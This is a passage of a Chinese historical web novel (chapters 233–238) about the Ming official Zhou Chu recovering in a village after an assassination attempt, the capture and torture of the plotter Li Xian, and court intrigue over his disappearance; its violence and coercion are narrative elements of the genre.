那样的话,他们根本就不用把李贤送出去,直接把李贤杀了,然后把老鸨抢了,再把青楼据为己有,如此稳赚不赔的生意,还不会有人追究,老鸨相信他们做得出来。 船老大听到这话,仔细看了看老鸨,想了想。 “两千两,少一个子都不行,还有,现在海军查得严,我帮你送人出去那是顶着杀头的风险,你得陪我一晚。” 船老大不怀好意地盯着老鸨道。 老鸨十二三岁的时候就被李家送到青楼,当时被年少的李贤救了下来,如今过去了十五六年,老鸨也不过二十七八,正是风韵犹存的年纪,船老大一直以来对她的想法甚至超过了他们青楼之中花魁的想法。 用船老大的说法就是,这个老鸨看着风骚,实际上内心很烈,这样的女人玩起来才够劲。 “好,不过得先送人。” 老鸨咬了咬牙,最终还是答应了,这话一出,两行清泪就流了下来。 “好说,我信得过你。” 船老大一听这话,顿时兴奋了起来,多少人盯着老鸨,想睡了她,都没有得手,如今被自己得手了。 船老大很清楚,女人和男人不一样,这女人一旦和自己睡了第一次,以后说不定就会把自己当成她的男人,事事为自己考虑。 以前船老大从来不敢奢望拥有这么一个女人,现在倒是看到了希望。 老鸨和船老大约定好上船的地点之后,就回去了,将这些信息告诉了李贤,李贤并不知道老鸨用自己的身子换了他跑路的机会,即便知道也不会在意。 当初李贤救下老鸨,并不是出于善心,而是他爹教他的收买人心的手段罢了,他爹唱白脸,他唱红脸,这种手段他不止在老鸨身上用过,在其他人身上也用过,屡试不爽。 “你做的不错。” 李贤看着老鸨夸赞道。 老鸨听到这话,心中很是高兴,自己能为老爷做事,哪怕牺牲了自己的身子,也算是值了。 入夜之后,李贤吃饱喝足,带上了盘缠,直奔海边而去。 刚到海边,李贤就看到了海上的船,这让他很是高兴,急忙招手。 “我在这里,能不能再靠近一些?” 李贤这话一出,那艘渔船还真开向了岸边,这让李贤很是高兴,也顾不得那么多了,趟着海水就往船那边走,只是刚靠近渔船,渔船上面突然出现很多锦衣卫和官兵,这些人手里都拿着火把和佩刀。 船老大被这些人押着,满脸破败的出现在李贤面前。 看到这一幕,李贤心里咯噔一下,意识到自己被埋伏了,转身就要向岸边走去,只是刚一转身,却发现岸边不知何时也站满了官兵,一时之间,李贤内心无比绝望。 第233章 悠闲的周楚,云瑾:对他用大刑,还不能让他死 随着周楚身体一天天变好,慢慢的也能下床了,在这山村之中,周楚感到了前所未有的宁静。 一直以来,周楚的神经都是紧绷着的,要谋划太多东西,算计太多的人,事事都要想的周密,一旦算错一步,就可能万劫不复。 即便周楚已经算计的面面俱到了,但人都会有松懈的时候,只有千日做贼的,没有千日防贼的,原本周楚以为整个江南已经尽在掌握了,但此时周楚才明白,自己终究是大意了。 自己得罪了这么多人,被自己抄家流放的人就不知道有多少,自己做的事越多,记恨自己的人也就越多,就越危险。 周楚终究是忽略了这个问题,危险只会不断累积,并不会消散,只是一直以来的顺利,让周楚觉得自己什么都能算到,一切尽在掌握。 直到被刺杀,周楚才意识到自己终究会漏算一些事,会有疏忽大意的时候。 这次刺杀对周楚的自信心打击挺大的,因为周楚一直以来都很顺利,没遭遇过什么挫折,顺利可以不断地建立自信心,但一旦经历挫折之后,对这种自信的打击也是很严重的。 倘若周楚没有上一世的经历,此时恐怕已经有些怀疑人生了,但周楚不只是有这一世顺利的经历,还有上一世有些坎坷的经历。 所以虽然有些打击,却也没那么严重。 “手再抬高一些。” 周楚一边指点着大柱练武,一边喝着茶水道。 这茶水是张大民用高碎泡出来的,就这些高碎,还是张老五特意从家里拿出来,交代张大民,一定要把周楚招待好,千万不能出了差错。 张大民虽然不太懂,却也清楚可能是因为周楚的身份不一般。 不过周楚可以吓唬张老五,却不会用同样的态度对待张大民,毕竟张大民一家是自己的救命恩人。 “张叔,放这就行,我自己来。” 周楚自然不会让张大民忙前忙后,为自己端茶倒水的。 “哎。” 张大民听到这话,直接将茶壶放下了。 他看到周楚教大柱武功,明白像周楚这样的身份不一般的,很多都有家传的武学,像他经常去卖猎户的那家大户人家就是如此。 “楚哥儿,大柱能练武吗?” 张大民有些迟疑道。 张大民很清楚,一旦练武,饭量就会大增,而且必须得吃好的,不然就会亏了身子,那样的话只会把身子骨练坏。 张大民既然懂站桩,自然也知道一些,却从未练过,因为条件不允许。 “放心吧张叔,以后大柱练武的花销不用你管,吃的用的都用最好的,我还会给他谋个前程。” 周楚笑道。 周楚并没有说是什么前程,不过张大民听到这话,也是极其高兴的,对他们这种山民而言,任何前程都比窝在村子里强得多。 “我们救你并不是为了....” 张大民有些迟疑道。 他既想让自己的儿子有个好的前程,又怕因此让周楚花费太多,毕竟练武,如果吃的用的都是最好的,不知道要花多少。 他们救周楚本就是顺手而为,原本并不是为了什么回报,现在搞的好像他们在挟恩图报一样,张大民本就面皮薄,此时觉得很不好意思。 “张叔不必觉得难为情,你们一家的为人我自然清楚,你们救我不是为了什么回报,大柱是个好苗子,不练武可惜了,我手下正好需要这么一个人才。” 周楚喝了口高碎道。 张大民听到这话,才松了口气。 “那你就好好的练他,他要是不听话就往死里打。” 张大民有些激动道。 “放心吧张叔,我会好好教他的。” 周楚说着又喝了一口高碎。 高碎虽然比以前自己喝的茶叶差了不知道多少,但多多少少有点茶味,能冲淡一些周楚口中的苦味。 这些天喝药,周楚的嘴里全都是草药的苦味。 “张叔,还有没有饴糖?” 周楚看了一眼张大民道。 上次张大民去买东西,周楚还特意交代他买一些饴糖,实在是因为村子里的这个郎中熬的药太苦了,有时候周楚捏着鼻子都感觉不太能喝得下去。 每次喝药,周楚都有种上刑的感觉,喝完之后,那种味道在嘴里久久不散,甚至打嗝都是那种味道,直冲脑门。 周楚很不理解,为何每一样东西看上去味道都没那么恶心,但熬在一起就变成了这种味道。 因此周楚让张大民买了一些饴糖,为的就是喝药的时候好下口一些。 “有有有,我去给你拿。” 张大民此时正觉得有些不好意思呢,听到这话,瞬间来了精神,转身去屋里给周楚拿饴糖。 周楚从张大民手中接过饴糖,掰下了一块,放在茶杯之中,然后又倒了一杯高碎,等到饴糖溶解的差不多了之后,喝了一口,说不上来什么味道,甜丝丝的茶味? 周楚顿感满意,一口将茶杯里的茶水都喝光了。 张大民离开之后,二丫不知道什么时候来到了周楚的身旁,看着那剩下的大半块饴糖,眼神之中满是渴望。 周楚看了看二丫,又看了看饴糖。 “想吃?” 二丫点了点头,又摇了摇头。 “不想吃。” 二丫说这话,显然在撒谎,她的眼神此时完全被饴糖吸引住了,根本挪不开。 周楚拿起饴糖,掰下来一块,顿时满脸心疼,没控制好力道,掰大了。 周楚看了看饴糖,又看了看二丫,有些不舍的将那块饴糖递了过去。 “吃吧,不要嚼着吃,嚼着吃一下子就没了。” 二丫听到这话,看了看,周围,发现自己的父母都不在,这才贼头贼脑的接过饴糖,瞬间塞进了自己的嘴里,生怕被人看到。 另外一边,李贤被带到了云瑾面前。 “李贤!” 云瑾看到刺杀的罪魁祸首,心中很是愤怒,不过云瑾很清楚,越是愤怒越要保持清醒。 “你是何人?” 李贤看着眼前穿着战甲的女人,懵了,大明虽然对女人参军没有明令禁止,却也几乎没有女人会去参军。 看眼前这个女人的盔甲,好像还不是一般的士兵,起码得是个将军。 “给他上大刑,要保证他不能死,能做到吗?” 云瑾看着一旁的陈昭,问道。 “姑奶奶,您这就问对人了,我们锦衣卫专门干这个的。” 陈昭看着李贤,满脸兴奋道。 第234章 唐伯虎的担忧,胡宗宪和赵贞吉 书院之中,唐伯虎再没了往日的洒脱,整个人魂不附体一般,也没心思给人上课,甚至将他教的学生全部派出去寻找周楚的下落了。 而他则在书院等候周楚的信息。 “子畏,你也不用太过担心,衡器吉人自有天相。” 芸娘端着一碗刚熬好的粥,满脸担忧地看着唐伯虎。 唐伯虎前些年就给自己改了字,叫子畏,不过一般人不知道他这个字号,都是叫他伯虎。 芸娘作为他的身边人,自然是清楚的。 “你让我怎么能不担心,纯甫还不是那些人的主要目标,都伤成那样,衡器只会伤的更重,只有他的那匹马,也不知道会跑到哪里去,这要是跑到荒郊野外,哎!” 唐伯虎越说越觉得希望有些渺茫,无比担心,看了一眼手里的粥,顿时觉得没什么胃口,直接放在了桌子上。 “好在有云瑾替他吸引了很多人的目光,不然的话,就算侥幸活下来,也会有很多人想要找他。” 唐伯虎说道。 芸娘端起唐伯虎放下的碗,用汤匙舀了粥送到唐伯虎嘴边。 “张开嘴。” 芸娘没好气道。 唐伯虎看到芸娘似乎有些生气,无奈的张开了嘴,将汤匙里的粥吃了,他和芸娘在一起这么多年,很少见到芸娘因为什么事生气,芸娘对自己如何,唐伯虎太清楚了,所以此时芸娘一生气,他自然不敢多说什么,只能老老实实地喝粥。 实际上不只是唐伯虎的学生,海瑞这些人更是自发地出去寻找周楚的下落了,特别是海瑞,四处奔走,想要第一时间找到自己的老师,确保周楚的安全。 “胡宗宪,你说周大人到底做了什么,居然有人会如此丧心病狂,派这么多人来刺杀?” 赵贞吉和胡宗宪两人也是约好了一起寻找周楚的下落,赵贞吉一边找一边疑惑地看着胡宗宪道。 “周大人九岁的时候被卖到陆家,成为了陆家二公子的书童,陆家知道吧?就是现在陛下身边的那个大红人,锦衣卫指挥同知陆炳,陆文孚,就是陆家的大公子。” 一提到周楚做过的事,胡宗宪就满脸狂热,仿佛在细数自己的偶像做过的事情一般。 来学院这么多天,胡宗宪做的最多的一件事就是搜集周楚以往的经历,对于周楚做过的事,他都能如数家珍。 “我听说过,这位陆大人听说在陛下很小的时候就一直跟着陛下,而且陆家的主母还是陛下的奶娘,这种关系,自然是陛下眼前的红人。” 赵贞吉点头道。 “周大人在陛下登基之前可能就在陛下面前展露过才学,陛下登基之后,第一时间将周大人任命为锦衣卫指挥使,陆大人都要比周大人低一级,锦衣卫同知。” 胡宗宪说这话的时候,一脸的与有荣焉。 “为什么?周大人到底在陛下面前展现过什么才能?” 赵贞吉听到这话的时候,满脸震惊,他实在是想不明白,以陆炳和皇帝的关系,朱厚熜登基后,居然将周楚任命为锦衣卫指挥使。 “当时很多人都和你是一样的想法,肯定都在想周大人凭什么?但是很快他们就知道了。” 胡宗宪如同一个说书人一般,开始卖起了关子。 “哎呀,你就别卖关子了,周大人到底做了什么?” 赵贞吉一脸急切道。 “周大人一上任,就抓了十几个官员,其中就包括礼部侍郎廖峰,全部抓进了北镇抚司,当时陛下刚刚登基,在京城毫无根基,以内阁首辅石斋先生为首的上百位官员将北镇抚司围住,向周大人要人。” 胡宗宪说到这里的时候,眼神愈发狂热。 “如果是你,面对这种情况,该怎么办?陛下毫无根基,百官随时可能让你万劫不复。” 胡宗宪看着赵贞吉,问道。 赵贞吉设身处地的想了想,一想到自己面对上百个官员,为首的还是内阁首辅,就下意识的咽了口口水。 “交人?不,不能交人,把人交出去就什么都完了。” 赵贞吉说到后面,眼神愈发坚定。 胡宗宪听到这话,有些赞赏的看了眼赵贞吉。 “然后呢,你准备怎么处理?” 赵贞吉想了想,怎么都想不出破局之法。 “这就是周大人厉害的地方,周大人掌握了这些人以前贪污犯罪的证据,周大人将廖峰直接拉出来,当着百官的面直接杀了!据说当时鲜血都喷到了石斋先生脸上。” 胡宗宪满脸兴奋道,仿佛当时杀死廖峰的是他一般。 “这怎么可能?” 赵贞吉听到这话,整个人都傻了,他想过无数种可能,唯独没有想过这种,这也太胆大包天了吧? “你是否觉得彼时的周大人太胆大包天了?” 胡宗宪看着赵贞吉道。 赵贞吉点了点头。 “那可是礼部侍郎,三品大员,岂是说杀就杀的,即便北镇抚司有先斩后奏之权,这也不好交代吧?” 赵贞吉说这话的时候又忍不住虽然仍然是有些不敢相信,但眼神之中也满是兴奋。 他觉得周大人的处事方式太对自己的胃口了。 “交代?周大人直接说了句,廖峰污蔑石斋先生和礼部尚书夏大人阴谋害死先皇,周大人觉得他胡说八道,就把他杀了,你觉得石斋先生和夏大人还会追究吗?还敢追究吗?” 胡宗宪看着赵贞吉道。 赵贞吉听到这话,冷汗都下来了,看了看周围,发现没人听到他们两人的话,这才松了口气。 “你小声点,这些话是能当众说的吗?” 赵贞吉后怕道。 “那倒也是,毕竟夏大人如今还在朝为官。” 胡宗宪也吓的出了一身冷汗,他刚才实在是太过兴奋,有些忘乎所以了。 “周大人将这些官员全部法办,为陛下打开了局面,后面的礼仪之争,谁敢出来反对陛下,周大人就查办了谁,关键这些官员没几个干净的,周大人神通广大,也不知道如何掌握了这些人的证据,查办起来毫无阻碍。” 胡宗宪继续说道。 赵贞吉听到这里,才恍然明白,自己以前实在是小看了这个周大人。 “以前是我小看了周大人,我不如他。” 赵贞吉有些不好意思道。 “你不如他?这话你也好意思说出口?你也配和周大人比?刚才我和你说的只是开胃菜,接下来周大人办的事,每一件堪称石破惊天!” 胡宗宪满脸不屑地看了一眼赵贞吉道。 第235章 震撼的赵贞吉,绝望的李贤 “什么?周大人让北镇抚司一次抓了一千个在京的官员?” 赵贞吉听到这话,惊的差点跳了起来。 “我当时知道这件事的时候,也和你差不多的反应,觉得不可能,谁敢这么做?未经陛下允许,未经内阁拟票,直接动了这么多人,别说周大人刚上任锦衣卫指挥使没多久,根基未深,以前的大太监刘瑾如何?最多就是同时动十几个官员,最后还被清算了。” 即便早就知道这件事,此时提起,胡宗宪仍然是满脸震撼。 “是啊,谁敢这么做?彼时的周大人可以说是毫无根基,如同风中的浮萍,一阵大风就吹散了,但周大人就敢这么做,他是在用自己的指挥使职务,甚至是命来换这一千个官员。” 胡宗宪唏嘘道。 “可京官拢共也就两千多人吧,周大人抓这一千人,难道不是在迫害忠良吗?” 赵贞吉有些迟疑道。 “忠良?你太天真了,以前那些官员,有几个干净的?周大人抓的这些人,全都有问题,要不然你以为事后能善了?” 胡宗宪不屑道。 赵贞吉听到这话,又想了想自己老家的那些官员,深有同感地点了点头。 “即便这些官员都有问题,但一次动这么多人,恐怕满朝文武都不会善罢甘休吧。” 赵贞吉家境很不错,对于官场上的事了解的不少,他很清楚这些当官的都是什么德行,一个个无力闹三分,你和他讲道理,他和你将之乎者也,讲礼义廉耻。 总之就是不和你正面谈你想谈的话题。 “是,周大人直接将这些官员法办了,根本不给其他人反应的时间,陛下也在配合周大人,那几日根本不见任何人。” “事后朝会,弹劾周大人的奏疏如同雪花一般,数不胜数,周大人惹了众怒,被百官弹劾,按理说周大人最好的下场都会被罢官,恢复白身,一着不慎,就是粉身碎骨。” 胡宗宪继续说道。 “是的,这种情况,换了谁都不好办。” 赵贞吉深以为然道。 “但周大人是谁啊?早在办这件事之前,周大人就和升庵先生相交莫逆了,我听坊间传闻,说是升庵先生被周大人点醒了,再也不像以前那般,如今的升庵先生一心为大明,为百姓。” “所有人都弹劾周大人的时候,升庵先生站出来为周大人说话,舌战群儒,说的百官哑口无言,不过毕竟升庵先生势单力孤,最终周大人被贬官到苏州府,成了一个锦衣卫百户。” 胡宗宪说的口干舌燥,说完这话,拿出随身带的水壶,喝了一口水。 “升庵先生?他的父亲不是石斋先生吗?怎么会帮周大人?” 赵贞吉满脸不解道。 “这你就不懂了,人在官场,很多时候在什么立场,都是身不由己,石斋先生也是如此,到了他那个位置,想做什么,想说什么,都不能随心所欲了。” “更何况升庵先生作为大明文坛的泰山北斗,品性高洁,想来以前也很痛苦,被陛下和周大人点醒之后,解开枷锁,自然无所顾忌,一心为大明,岂不快哉?” 胡宗宪虽然比赵贞吉小了几岁,但言语之间却要比赵贞吉显得老成不少。 “确实如此,倘若我以后入朝为官,定要像周大人和升庵先生这般,为国为民。” 赵贞吉满脸振奋道。 “你是不是觉得周大人做的事就到此为止了?” 胡宗宪瞥了一眼赵贞吉道。 “周大人还做了什么?” 赵贞吉一听这话,顿时来了精神,胡宗宪既然这么说了,那就意味着周大人做的事肯定远不止如此。 “周大人到了苏州府之后......” 胡宗宪两人一路上一边寻找周楚的下落,一边谈论着周楚的过往。 等到胡宗宪如数家珍一般,将周楚做的事说完后,赵贞吉满脸震撼。 “名臣!纵观有明一朝,也找不出像周大人这样的名臣了。” 赵贞吉呢喃道。 “再加上元宋,也没有能比得上周大人的。” 作为周楚的狂热粉丝,胡宗宪直接将周楚再次拉高了一个高度。 这也难怪,宋朝虽说有很多名臣名将,但离胡宗宪太远,周楚却是活生生的在他们面前的人物,这种滤镜,让他们没办法客观的去评价周楚。 “就你?还敢和周大人相提并论?” 胡宗宪看着赵贞吉,冷笑道。 赵贞吉听到这话,脸都羞红了。 “你就别嘲笑我了,方才我不是不知道周大人做了这么多事吗?” 京城,陆炳知道周楚出事之后,每天都很担忧,周楚出事的消息想瞒都瞒不住,毕竟书院之中学生众多,肯定被安插了不少细作,王阳明原本想严令所有人不要把这个消息传出去的,但也只是想想,具体执行起来很困难,也就听之任之了。 陆松夫妇知道这个消息之后,反应和唐伯虎差不多,每天都恨不得问陆炳几十次有没有找到衡器。 陆炳实在是不知道该如何面对自己的父母,他特别害怕每次自己说没找到的时候,自己父母那副失望和担忧的神情。 杨氏更是日日都去寺庙之中,为周楚烧香祈福。 沈青知道这个消息的时候,差点栽倒,勉强站稳身子之后,她摸了摸自己隆起的腹部,满脸担忧。 “你可千万不要有事啊。” 苏州府锦衣卫所,李贤被刑讯的锦衣卫逼的想死都死不了,他嘴里的牙全都被敲掉了,想要自残都做不到。 他怎么都没想到,锦衣卫的刑讯手段会这么恐怖,以前他听别人说起的时候还满脸不屑,现在他每时每刻都恨不得立刻去死,却又死不了。 “你们到底要问什么,倒是问啊。” 李贤满脸青筋暴起道。 “放宽心,上面吩咐了,什么都不用问,单纯给你上刑,你说你干什么不好,居然敢刺杀周大人?原本还以为是什么硬骨头呢。” 刑讯官拍了拍李贤的脸,满脸不屑道。 李贤一听这话,顿时想骂娘,此时他才明白,这是在纯折磨自己,李贤此时无比后悔,为什么要去刺杀周楚呢。 此时的云瑾却没工夫管李贤的死活,因为她得到了手下玄武军传来的消息,有周楚的下落了。 知道周楚下落的云瑾,在苏州府一刻也待不住了,乘船直奔绍兴而去。 第236章 山村外的玄武军,周楚的威势 张鹏是绍兴城中的一个地痞,能在绍兴城内混的开的地痞,自然是有些手段和人脉的。 虽然那些高门大户瞧不上他,但很多事还真的让他这种人去办,毕竟有些脏活也只有他这种人办合适,很多人自己办嫌脏手。 对于绍兴城中的三教九流,张鹏基本都认识,自然也认识张大民这个猎户,张大民打猎的本事在整个绍兴城周围都是出了名的。 好几次张鹏想从张大民手中弄点野味吃,都没有如愿,因为张大民打的野味都是只卖给城中一户大户人家的,这家人张鹏惹不起。 张鹏惹不起那些大户人家,却惹得起张大民,对于张大民的不识趣,张鹏一直怀恨在心,所以每次张大民进城的时候,张鹏都会不怀好意地盯着他,想找机会教训一下张大民。 只是最近张鹏发现张大民似乎有些不对劲,这家伙不知道为何突然有钱了,每次进城都会买很多东西,甚至以前不会买的东西,像饴糖之类的。 这让张鹏意识到张大民可能突然发了横财。 刚开始张鹏还不太确定,这两天张大民再次进城的时候,干脆直接拉了一辆马车过来,买的东西装了整整一马车,这一下不只是张鹏注意到了,城中很多人都注意到了张大民这种异常的举动。 张大民这一车买了很多东西,甚至很多很贵的东西,就连张鹏这种人平日里都不会买的,都被张大民买了装车了,想不引起其他人的注意都难。 张鹏自然也注意到了其他人。 “跟上去看看?” 等张大民离开后,张鹏看着其他人说道。 张大民身为猎户,身强体壮,张鹏即便有什么想法,一个人也打不过张大民。 眼前这些人和张鹏的想法差不多,听到张鹏的话,自然是一拍即合,几人找了一辆马车,跟着张大民一路来到村子之外。 张大民被人一路跟随,自然不可能毫无察觉,不过此时的张大民已经不在乎了,甚至他还很希望张鹏能跟过来。 他和张鹏不对付不是一天两天了,对于张鹏的不怀好意,他自然是知道的,原本他拿张鹏是没什么办法的,但现在不一样了,楚哥儿也不知道是什么身份,这两天他们家来了很多身穿盔甲的士兵。 对这些人的出现张大民并不是很意外,毕竟周楚当初出现在这里的时候,身上就穿着盔甲。 这种制式的盔甲,张大民即使见识很有限,也知道不是一般的士兵能穿的。 张大民很聪明,从周楚清醒到现在,关于周楚身份的事,他从未多问过一句,他虽然只是个猎户和农民,却很清楚一个道理,有时候知道的多,并不是好事。 就像他经常去送猎物的那家大户人家,后宅之中有很多龌龊事,但张大民从来都是装聋装瞎,绝不多看多听,每次送完猎户拿到钱,绝不多停留。 张大民是猎户,他甚至能隐隐感觉到,自己的村子周围似乎隐藏了很多人,这些人很可能都是楚哥儿的人,这才是张大民最大的底气。 玄武军找到周楚之后,周楚也就放下心来了,拿出不少钱给了张大民,让他放心买东西,这才有了张大民进城的一幕。 周楚的潜台词张大民自然明白,有什么麻烦会有人帮你解决,正是因此,张大民才想着趁着这个机会,好好教训一下张鹏这些地痞。 张大民驾着马车进入村子之后,张鹏等人纷纷下了马车,想要悄悄摸进村子,看看到底什么情况,如果张大民真发了财,他们肯定会想办法强取豪夺。 隐藏在村子外面的玄武军暗哨看到这种情况,看向了身旁的百夫长。 “要动手吗?” 百夫长摇了摇头。 “就这么几个人,翻不起什么花来,大人有命令,如非必要,我们不得暴露。” 百夫长这么说是有底气的,实际上现在整个山村周围有近两百个玄武军,张大民家周围都有十几个。 他们这一批第一时间找到了周楚,就把信息传递了回去,其他玄武军和云瑾都在赶来的路上。 别说张鹏这几个地痞流氓了,就算是再多来一些人,周楚也不会有什么事。 张鹏几人摸到了张大民家附近,正要继续往里走,刚一转角,就被几个全甲玄武军拦住了去路。 “你们是什么人?” 玄武军看着张鹏等人,厉声喝问道。 这村子里的人他们基本都见过了,而且看张鹏几人的衣着和猥琐的气质,也不像是这个村子里的人。 张鹏等人看到这几位全甲的玄武军,顿时吓了一跳,他们怎么都没想到,这个小小的山村里面,还隐藏着军队? “军爷,误会,误会,我等认错路了。” 张鹏是地痞,最擅长的就是欺软怕硬,最害怕的就是官面上的人,更不用说是军队里的士兵了,他很清楚,这些人哪怕将自己就地斩杀了,也不会有什么麻烦。 此时的张鹏小心地作揖,满脸陪笑。 其他人也纷纷附和。 “是啊军爷,我等路过这里,口渴,想过来找点水喝。” 任他们如何说,这些玄武军可不是那么好糊弄的,直接将几人提溜起来,押送到了周楚面前。 “大人,这几人贼眉鼠眼,不知道是哪一方的探子。” 几个玄武军士兵将张鹏押到周楚面前道。 周楚看了看张鹏等人,那经年累积的威势,只是一眼,就让张鹏等人差点吓尿了裤子。 张鹏吓的直接跪了下来。 “爷爷饶命啊,我们不是探子,不是探子。” 张鹏磕头如捣蒜道。 其他几人也纷纷磕头,这要是被误认为探子,直接就地斩杀,绝无二话,他们可不想死。 周楚看了看张鹏等人,又看向张大民,随后看向了一旁的大柱和二丫。 张大民也是个眼皮子活的,周楚一个眼神他就明白了什么意思。 “大柱,你带着二丫去你三爷爷家里帮楚哥儿取药。” 张大民看着大柱道。 “二丫自己去就行了。” 大柱有些不满道,有热闹看,他自然是不想离开的。 “让你去就去,哪那么多废话?” 张大民眼睛一瞪,大柱瞬间就怂了,他可是从小被他爹打到大的,最怕的就是张大民。 柱子和二丫离开之后,周楚脸上的笑容瞬间消失了,看向张鹏等人。 “军法处置吧。” 周楚面无表情道。 第237章 云瑾和周楚见面,惊喜的嘉靖,杨一清和夏言 张鹏一听这话,差点尿了裤子。 军法处置四个字他自然明白什么意思,无论是戏文还是说书先生都说过,军法处置,那就是杀头。 “大人,我们真的是走错了路,您把我们当个屁给放了吧,我们再也不敢了。” 张鹏说这话的时候都快哭出来了。 “张叔,你认识他们吗?” 周楚没回答张鹏,而是看向了一旁的张大民。 “怎么不认识,这个叫张鹏,这个叫王二,这几个都是绍兴城内出了名的地痞流氓,之前张鹏想抢我的猎物,我没给他。” 张大民说到这里有些不好意思的挠了挠头。 “其实我知道他们跟着我。” 张大民的言外之意很简单,他知道张鹏等人跟着他,他想借着周楚的手对付张鹏这些人。 “张叔不用不好意思,顺手的事。” 周楚说完这话,冲着玄武军的几个士兵摆了摆手,示意他们将张鹏等人带下去处理了。 几名士兵瞬间会意,顺手将张鹏几人的嘴牢牢堵死,省的他们的叫声引起其他人的注意,随后将他们拖了出去。 张大民倒是没有任何不适,他本身就是猎户,又和张鹏这些人有仇,如今看着他们被杀死,心中只会觉得爽快。 “二哥。” 此时云瑾突然走了进来,看着眼前的周楚,云瑾眼里的泪水再也忍不住了,直接扑到了周楚怀中。 “疼疼疼!” 周楚身上的伤还没好利索,被云瑾这么一撞,顿时有种撕裂的疼感,不过倒也影响不大,基本上已经快愈合了。 云瑾听到这话,顿时有些局促地离开了周楚的怀抱,满脸愧疚地看着周楚。 “都多大的丫头了,还如此毛躁。” 周楚没好气道。 “哪有多大?满打满算也才十三罢了。” 云瑾有些不满道。 周楚听到这话,顿时觉得无话可说,想想也是,云瑾如今也才十三岁不到,不过这一两年在军中,无论是气质还是身形,都让人很难将云瑾和一个十三岁不到的小姑娘联系在一起。 自从周楚出事以来,云瑾内心一直紧绷着一根弦,一边暗中派出人马寻找周楚的下落,一边调查是谁刺杀的周楚。 这几日,云瑾一夜一夜地睡不着觉,此时看到周楚,心中紧绷的弦松了下来,汹涌的困意瞬间来袭,让她有些睁不开眼睛。 “你不会这么多天都没睡吧?” 周楚看着云瑾疲惫的神情和困顿的眼神,有些心疼道。 云瑾没回答,不过不回答也是一种回答。 “要不您去二丫屋子里睡一会?” 张大民看着云瑾这身行头,自然不会像面对周楚这般自如,满心敬畏道。 “好。” 云瑾实在是过于困顿了,没有反对。 张大民听到这话,急忙将自己的媳妇叫了过来。 “你带这位将军去二丫房中休息。” 此时的张大民心中有种心惊肉跳的感觉,眼前这个女将军叫楚哥儿二哥,楚哥儿到底是何等身份? “跟我来吧。” 张大民的媳妇就不像他想的这么多,毕竟无知者无畏,她一个乡野村妇,见识远不如张大民,所以并不清楚眼前这个女人是何等身份,只知道招待好便是了。 这些天张大民家中的一切花销都是周楚提供的,而且周楚的身份显然很不一般,她一个妇道人家虽然不懂什么,没什么见识,却也明白什么事该做,什么话不该说。 京城,皇宫之中,黄锦拿着一封八百里加急满脸兴奋地一路小跑来到了御书房。 “陛下!陛下!好消息,周大人让人送来奏疏了。” 原本还有些担忧周楚安危的嘉靖听到这个消息,腾的一下站了起来。 “快拿过来!” 等黄锦来到朱厚熜身旁,他一把抢过黄锦手中的奏折,开始翻看了起来。 “好好好!衡器没事就好。” 朱厚熜一边看一边拍大腿道。 他说完这话,看向了一旁的陆炳。 “文孚,你可以悄悄将这个消息告诉阿母,不过让她不要声张,该为衡器祈福的还继续祈福,一切照旧。” 嘉靖说道。 陆炳此时得知周楚没事的消息,也是满心振奋,他终于可以回家了,不然每次回家他都不知道该如何面对自己的父母,也不知道如何面对自己的弟弟。 每次看他们从满心期望到失望,陆炳都觉得异常的难受。 至于陛下为何如此安排,陆炳不会多问,他很清楚,这多半和衡器的安排有关,该让自己知道的时候,肯定会知道的。 “是,陛下。” 陆炳此时恨不得立刻回家,将这个消息告诉自己的父母。 “你回家吧,看你这样子也待不住,别被人看出端倪就行。” 嘉靖摆了摆手道。 “多谢陛下。” 陆炳对嘉靖行礼之后,离开了御书房,离开御书房之前,他还特意整理了一下自己的表情,让自己表现的满脸忧心忡忡,这才直奔家里而去。 杨一清府上,夏言也在。 “首辅大人,这次周楚遇刺,生死未知,首辅大人可有什么想法?” 夏言不着痕迹道。 “能有什么想法?我这把年纪,黄土埋到脖子了,再干两年就告老还乡了。” 杨一清微微抬了抬眼皮子道。 他自然知道夏言说这些话是何用意,但他更清楚,夏言在自己这里拱火,绝非是为了自己考虑,自己折腾不了几年了,夏言自然希望自己趁着周楚没有生死未知的时候折腾一番,如此一来,他夏言就有了更多闪转腾挪的空间了。 而不是像现在一样被镇压着,动弹不得。 “首辅大人此言差矣,纵观古今,姜太公、百里奚,哪一个不比大人的岁数大?还都能成就一番伟业,大人何必自怨自艾呢?” 夏言继续拱火道。 “夏大人想让老夫折腾,好为你们折腾出来位置吧?” 杨一清冷眼看着夏言道。 他和夏言,从来都不是一个战线的。 “首辅大人目光如炬,下官确实有这个想法,不过却也和首辅大人的利益不冲突,我们之间没有什么本质的冲突,相反,我们有一个共同的敌人,周楚,还有杨慎。” 夏言有些愤恨道。 杨一清没想到夏言承认的如此坦荡,倒是有些意外。 “你倒是坦荡。” “那是,首辅大人面前耍心眼,岂不是关公面前耍大刀?” 夏言笑道。 杨一清听到这话,心中很是满意。 “容我好好考虑考虑吧,那周楚如今还不知生死呢。” 第238章 高兴的唐伯虎,周楚的处理方式 之前玄武军四处搜寻周楚的下落,被村长张老五撞见了,他并没有声张,而是悄悄回到村中,将这件事告诉了周楚。 自从被周楚震慑之后,张老五每日都心惊胆战的,生怕周楚这尊大佛在他们这里出了什么意外,那他可就成了村子里的罪人了。 周楚听到张老五的描述之后,又问了问那些人穿的盔甲的样式,最终确定了是玄武军之后,让张老五将玄武军引到了自己面前。 那几个玄武军找到周楚之后,大喜过望,直接放了信号,将附近在搜寻周楚的其他玄武军全都召集了过来。 这是云瑾的命令,一旦发现周楚的下落,迅速集结附近所有玄武军士兵,将周楚保护起来。 周楚第一时间就让玄武军给云瑾还有唐伯虎王阳明等人送了信,同时还让人给嘉靖去了一封八百里加急。 这封奏疏的内容首先是告诉嘉靖自己没死,其实是让嘉靖尽量先隐瞒自己没事的信息,周楚现在在暗处,想要彻底观察一下如今大明的局势。 虽然之前周楚镇压了很多人,但无论是周楚还是嘉靖都很清楚,这些人是杀不完的,杀一批还会上来一批,大明的局势一直都是暗潮汹涌的,只不过以前有周楚在,这些人不敢露出爪牙罢了。 一旦周楚长时间不露面,很多人就会认为周楚出了问题了,或者受了很重的伤,或者死了,如此一来,这些人的野心自然就会暴露出来。 周楚要的就是他们的野心暴露,野心暴露之人,才好清算,当然,周楚并不是为了清算而清算,而是为了筛选,筛选真正实心任事的官员,以及再次对百官进行震慑。 周楚很清楚,自己还活着的信息肯定是瞒不了多久的,不过可以暂时先待在这个山村之中,一来,这里离书院只有百来里,不算很远,海瑞他们完全可以来这里上课。 二来,周楚可以趁着这个机会,让学院的学生跟着村子里的村民务农,体验一下真正底层百姓的生活。 